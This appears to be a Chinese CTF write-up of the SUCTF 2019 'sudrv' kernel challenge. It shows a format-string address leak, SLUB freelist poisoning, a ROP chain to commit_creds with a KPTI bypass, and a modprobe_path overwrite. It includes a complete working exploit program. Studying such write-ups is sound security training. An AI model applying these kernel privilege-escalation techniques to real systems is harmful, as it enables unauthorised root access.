前言
bb一句,这题太好玩了,过程中学习了很多新姿势。
保护
系统保护
模块保护
版本信息
分析
模块加载函数sudrv_init:
注意下这个模块在加载时就已经申请了0x1000大小的内存
sudrv_exit
sudrv_ioctl
这里可以自定义kmalloc
的大小,打印全局变量su_buf的数据,和kfree
释放内存
sudrv_ioctl_cold_2
格式化字符漏洞,printk
相对于printf
来说它所支持的格式化字符也越少,通常在printf
中使用%p
来泄漏地址,相应的printk
函数可使用%llx
来泄漏地址
sudrv_write
用于写入全局变量su_buf的值的函数
思路
- 可以随意申请
<0xfff
大小的内存,且每次kmalloc后的指针会放在全局变量su_buf
中,会覆盖 - 可以向该全局变量
su_buf
写入任意长度的数据,可以造成堆溢出 - 写入数据后可在控制台输出该
su_buf
值
这题反正用户态堆题自然是很简单,但是内核态和用户态截然不同,还是能get
到新知识的
注意⚠️:到这个地方时,你应该掌握了Linux内核-内存管理、slab分配器策略知识,不然下面会看着很懵,读者可自行搜索资源了解相关知识,也可参考博主的文章-> 点我
因为题目有kaslr
保护自然先要泄漏模块偏移,得到正确的地址,为了方便gdb调试可以手动去掉kaslr保护 ,先将rop链搭好最后加上偏移进行测试
首先通过格式化字符漏洞泄漏模块地址
int fd = open("/dev/meizijiutql",2);
//-----------------------leak addr------------------------------
char buf[10 * 8] = "%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx\n0x%llx\n0x%llx\n";
write(fd,buf,sizeof(buf));
show(fd); //格式化字符漏洞
system("echo `dmesg | tail -2 | head -1 | cut -d ']' -f 2` > mod_addr ");
system("echo `dmesg | tail -1 | head -1 | cut -d ']' -f 2` > stack_addr "); //意思是通过管道符将dmesg的输出信息通过tail命令显示最后3行 -> 显示第一行 -> 将字符以']'分割取第2段
int offset = getOffset(); //计算偏移
printf("offset -> 0x%x\n",offset);
getOffset函数:
size_t getOffset(){
char buf[0x13];
FILE* mod_fd = fopen("/mod_addr","r");
FILE* stack_fd = fopen("/stack_addr","r");
fgets(buf,0x13,mod_fd);
sscanf(buf,"%llx",&mod_addr);
fgets(buf,0x13,stack_fd);
sscanf(buf,"%llx",&stack_addr);
vmlinux_base = mod_addr - (0xffffffff8229a268 - 0xffffffff81000000);
prepare_kernel_cred = vmlinux_base + (0xffffffff81081790 - 0xffffffff81000000);
commit_cred = vmlinux_base + (0xffffffff81081410 - 0xffffffff81000000);
printf("stack -> 0x%llx\n",stack_addr);
printf("vmlinux_base -> 0x%llx\n",vmlinux_base);
return vmlinux_base - 0xffffffff81000000;
}
因为这里可以进行堆溢出,劫持堆分配流。
有了上面对linux内核内存管理知识掌握后,下面我们进行实测一下:
首先申请一个0x10大小的内存,在_kmalloc(0x10, __GFP_HIGH|__GFP_ATOMIC|__GFP_KSWAPD_RECLAIM);
函数后面查看返回值如下:
这个rax值0xffff888005e04290
就是slab分配后得到slab-object地址,同时可以注意到它后面的一串链条指针,他们相差都是0x10,也就是说这条链表里的slab-object都是等同大小(0x10)且物理相邻,这就是前面说的kmem-cache-cpu里的剩余空闲链表
ok,将申请的内存大小改为0x100再看结果如下图所示:
可以发现它们依旧是等同大小(0x100),且物理相邻,但是注意到 0xffff888005cfd600 → 0xffff888005cfd500 → 0xffff888005cfd700
这里并不是上一种情况中的每个slab-object
都是按等同顺序递增的
情况二:
在遇到kmem_cache_cpu->partial里的slab链表仅剩余2个空闲slab-object时
如下图:
为了看到程序将这两个slab-object用完后的分配场景,在gdb中再次c到这个断点,继续运行该程序,因为我们的内核模块没有停止所以它的内存分配会接着上面继续分配
在经过2次申请0x100后如下图:
产生这种情况就是因为kmem_cache_cpu没有空闲的slab-object了
那么它从kmem_cache_node
里面再次划分内存作为slab链表
,并将freelist指向新的slab
链表,当然还有一种情况就是kmem_cache_node
里面也没有空闲空间可划分,那么就会通过slab分配器
再次分配内存作为slab-object
当然一次申请一块内存不过瘾那么就多来几块
add(fd,0x100); //这里封装了 kmalloc(size,flag);
add(fd,0x100);
add(fd,0x100);
add(fd,0x100);
add(fd,0x100);
add(fd,0x100);
可以发现每次分配都是按链表的指针进行分配,且到链表尾时又重新分配新的链表
将上面的同等大小再次变化一下:
add(fd,0x10);
add(fd,0x20);
add(fd,0x30);
add(fd,0x10);
add(fd,0x10);
add(fd,0x20);
add(fd,0x30);
为了方便观察下面不贴图了只看rax的值,断点还是和上面一样 经过add(fd,0x10)后
gef➤ reg
$rax : 0xffff888007198340 → 0xffff888007198350 → 0xffff888007198360 → 0xffff888007198370 → 0xffff888007198380 → 0xffff888007198390 → 0xffff8880071983a0 → 0xffff8880071983b0
此时freelist指针指向0xffff888007198350
在经过add(fd,0x20)
后
gef➤ reg
$rax : 0xffff888006874580 → 0xffff8880068748e0 → 0xffff888006874420 → 0xffff888006874fa0 → 0xffff888006874a20 → 0xffff8880068742a0 → 0xffff888006874b40 → 0x00000000000000
可以发现这里分配到了另一个偏移较大的地址,而不是前面freelist指针指向的0xffff888007198350地址
在经过add(fd,0x30)
后
gef➤ reg
$rax : 0xffff888005e75500 → 0xffff888005e75540 → 0xffff888005e75580 → 0xffff888005e755c0 → 0xffff888005e75600 → 0xffff888005e75640 → 0xffff888005e75680 → 0xffff888005e756c0
add(fd,0x10)
gef➤ reg
$rax : 0xffff888005e012f0 → 0xffff888005e01410 → 0xffff888005e01420 → 0xffff888005e01430 → 0xffff888005e01440 → 0xffff888005e01450 → 0xffff888005e01460 → 0xffff888005e01470
add(fd,0x10)
gef➤ reg
$rax : 0xffff888005e01410 → 0xffff888005e01420 → 0xffff888005e01430 → 0xffff888005e01440 → 0xffff888005e01450 → 0xffff888005e01460 → 0xffff888005e01470 → 0xffff888005e01480
这里分配到了上面freelist指向的地址,并没有发生链表改变
add(fd,0x20)
gef➤ reg
$rax : 0xffff888006874f40 → 0xffff888006874540 → 0xffff888006874ee0 → 0xffff888006874fa0 → 0xffff8880068740a0 → 0xffff888006874620 → 0xffff888006874920 → 0xffff8880068740e0
add(fd,0x30)
gef➤ reg
$rax : 0xffff888005e75600 → 0xffff888005e75640 → 0xffff888005e75680 → 0xffff888005e756c0 → 0xffff888005e75700 → 0xffff888005e75740 → 0xffff888005e75780 → 0xffff888005e757c0
通过上面可以通过kmalloc申请的大小不一致会导致链表的改变,当kmalloc申请的大小一致时且链表有空闲值会按freelist进行取slab-object
那么印证了同等大小的slab-object由同一个slab管理,反之依然,这些slab大小分类可通过cat /proc/slabinfo
进行查看
也就是说上面我们分配的内存比如0x10大小的会由kmalloc-16
管理、0x20大小会由kmalloc-32
管理、而0x30大小因为向上对齐的策略会由kmalloc-64
进行管理
好了有了内核内存分配的认识后就可以开始控制内存的分配了,为了可以进行堆溢出,那么就务必要使申请的slab-object
它们物理相邻且是递增的内存,因为在执行exp时系统就已经存在很多内存块了,在我们申请内存时一定几率会拿到kmem-cache-cpu
里的partial slab
链表也就可能导致分配的object
不是物理相邻,从而导致拿不到fack object
//-----------------------attack into stack------------------------------
add(fd,0x10); //slab-object1 这里申请了一个0x10的object,假设该object地址为0xffff88800716a5e0,则在该kmen_cache_cpu中freelist指针会指向0xffff88800716a5f0,那么下次kmalloc时就会从freelist指针得到该地址
size_t fake[3] = {0};
fake[2] = stack_addr;
write(fd,fake,sizeof(fake)); //修改freelist指针的值为伪造栈地址
add(fd,0x10); //拿到0xffff88800716a5f0 , 此时该sla-object的首地址指向下一个伪造的slab-object
add(fd,0x10); //这样就拿到了fake stack object
在fake object下停断点如下图:
那么现在就可以对栈写入数据了,我们修改sudrv_write
函数的ret
地址为我们的rop
从gdb中看到需要将object分配到0xffffc900007a3e50
处,再写入我们的rop链接即可劫持程序流了
因为内核版本较高,且开启了smep保护,不能执行用户空间程序,所以这里通过汇编形式进行提权root(使用cr4=0x4f0的方式也绕过不了。。。)
size_t rop[15 ] = {0}; //初始化该栈空间 方便gdb时观察数据
int i = 0;
rop[i++] = POP_RDI + offset;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = POP_RCX + offset; //设rcx为0 ,提高下面mov rdi,rax成功率
rop[i++] = 0;
rop[i++] = MOV_RDI_RAX + offset; //这句gadget会执行 cmp rcx,rsi ; ja 0xxxxxxx(置rcx为0)
rop[i++] = commit_cred; //commit_cred(prepare_kernel_cred(NULL));
rop[i++] = SWAPGS + offset;
rop[i++] = 0;
rop[i++] = IRETQ + offset;
rop[i++] = 0; //rip
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,rop,sizeof(rop));
close(fd);
最后因为这题采用的内核版本为4.20.12
该版本默认添加了KPTI保护(Linux 4.15 中引入了 KPTI 机制,并且该机制被反向移植到了 Linux 4.14.11,4.9.75,4.4.110。),所以在经过iretq指令时
会报段错误. 具体可通过如下命令查看是否开启保护
/ $ dmesg | grep 'page table'
[ 0.000000] Kernel/User page tables isolation: enabled #这里显示开启
/ $ cat /proc/cpuinfo | grep pti
fpu_exception : yes
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisor pti smep
fpu_exception : yes
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisor pti smep
/ $
绕过方式可以学习ctfwiki中的姿势:https://ctf-wiki.org/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti/
这里采用在用户态注册 signal handler执行getShell
signal(SIGSEGV,getShell);
提权
未解决问题:无法通过修改cr4的方法绕过smep
这题做的应该还有点小问题,感觉不是很完美。。。。。因为我的exp运行提权时第一次成功率80%,成为root身份后再次运行exp就会稳定报错内核栈损坏,报错如下, 这个师傅的exp的成功率就很高(链接https://mask6asok.top/2020/02/06/kernel_challenge.html#2019-SUCTF-sudrv)
解法二:
这里是后面学到了新姿势添加的新内容,排版不是很好。。。。
另一种解法就是通过modprobe_path
修改flag文件权限为普通用户可读,不通过/bin/sh
的方式。
具体的使用姿势可以看https://xz.aliyun.com/t/6067#toc-12 这个文章,也可以看我总结的文章https://blog.youkuaiyun.com/csdn546229768/article/details/124546007
这题前面分析知道有个任意内容写的漏洞,那么我们修改modprobe_path
指向的字符串为我们本地构造好的一个高权限的脚本,如下:
void loadFoot(){
system("echo -ne '#!/bin/sh \n/bin/cp /flag /tmp/flag \n/bin/chmod 777 /tmp/flag' > /tmp/exp.sh \n"); //用于modprobe_path指向的文件
system("echo -ne '\xff' > /tmp/errofile "); //构造一个错误文件
system("chmod +x /tmp/exp.sh");
system("chmod +x /tmp/errofile");
}
//那么它会是这样的
//exp.sh
//---------------------------
#!/bin/sh
/bin/cp /flag /tmp/flag
/bin/chmod 777 /tmp/flag
//---------------------------
通过gef
查看到modprobe_path
的地址,然后通过修改freelist
的fd值为modprobe_path
地址,写入构造的修改权限的文件路径,如下:
loadFoot();
fd = open("/dev/meizijiutql",2);
size_t modprobe_addr = 0xffffffff82242320;
add(0x400);
size_t fake[0x81] = {0};
fake[0x80] = modprobe_addr;
write(fd,fake,sizeof fake);
add(0x400);
add(0x400);
char modprobe[0x10] = "/tmp/exp.sh\x00";
write(fd,modprobe,sizeof modprobe);
close(fd);
system("./tmp/errofile");//执行错误文件,触发call_modprobe函数,从而执行我们的权限文件
system("cat /tmp/flag");
完整exp
#include<stdio.h>
int fd ;
void add(int size){
ioctl(fd,0x73311337,size);
}
void loadFoot(){
system("echo -ne '#!/bin/sh \n/bin/cp /flag /tmp/flag \n/bin/chmod 777 /tmp/flag' > /tmp/exp.sh \n");
system("chmod +x /tmp/exp.sh");
system("echo -ne '\xff' > /tmp/errofile ");
system("chmod +x /tmp/errofile");
//setvbuf(stdin, NULL, _IONBF, 0);
//setvbuf(stdout, NULL, _IONBF, 0);
//setvbuf(stderr, NULL, _IONBF, 0);
}
int main(){
loadFoot();
fd = open("/dev/meizijiutql",2);
size_t modprobe_addr = 0xffffffff82242320;
add(0x400);
size_t fake[0x81] = {0};
fake[0x80] = modprobe_addr;
write(fd,fake,sizeof fake);
add(0x400);
add(0x400);
char modprobe[0x10] = "/tmp/exp.sh\x00";
write(fd,modprobe,sizeof modprobe);
close(fd);
system("./tmp/errofile");
//可移到根目录进行覆盖原flag
//system("/bin/cp tmp/flag /flag");
//system("cat /flag");
//可直接读取flag
system("cat /tmp/flag");
return 0;
}
执行结果:
/ $ ./exp
[ 3.984738] SU Device opened
[ 3.985326] Write!
[ 3.985512] Write!
[ 3.985655] SU Device closed
./tmp/errofile: line 1: ÿ: not found
flag{************} //成功读出flag文件内容
/ $ ls -l tmp/flag
-rwxrwxrwx 1 0 0 19 May 2 12:13 tmp/flag //权限被修改为低权限
exp同样只能执行一次,第二次稳定崩溃
资料参考: